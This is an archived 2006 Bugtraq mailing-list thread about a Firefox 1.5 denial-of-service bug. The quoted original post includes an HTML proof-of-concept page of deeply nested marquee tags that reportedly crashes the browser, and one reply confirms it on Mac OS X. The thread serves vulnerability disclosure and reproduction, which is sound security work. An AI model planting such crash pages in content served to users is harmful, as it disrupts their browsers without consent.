bugtraq - Re: Fire fox dos exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <54147590-89F9-46FB-8F63-5A137D85B864@yanux.ch>
Date: Wed, 31 May 2006 19:28:24 +0200
From: Yannick von Arx <yannick.vonarx@...ux.ch>
To: bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


Under Apple Mac OS X 10.4.6 (PPC) with Firefox 1.5.0.3 it's  
reproducible!

Cheers, Yannick von Arx

Am 31.05.2006 um 16:50 schrieb Josh Zlatin-Amishav:

> On Tue, 30 May 2006, co296@....com wrote:
>
>> I have found a problem which causes denial of service on fire fox  
>> browser
>
> Can you give us some more details, like versions and platforms  
> affected? I was unable to recreate this flaw using firefox 1.5.dfsg 
> +1.5.0 on Debian unstable.
>
> --
>  - Josh
>
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html;  
>> charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> 
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> 
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marq
> ue
>> e></marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee>
>> </body>
>> </html>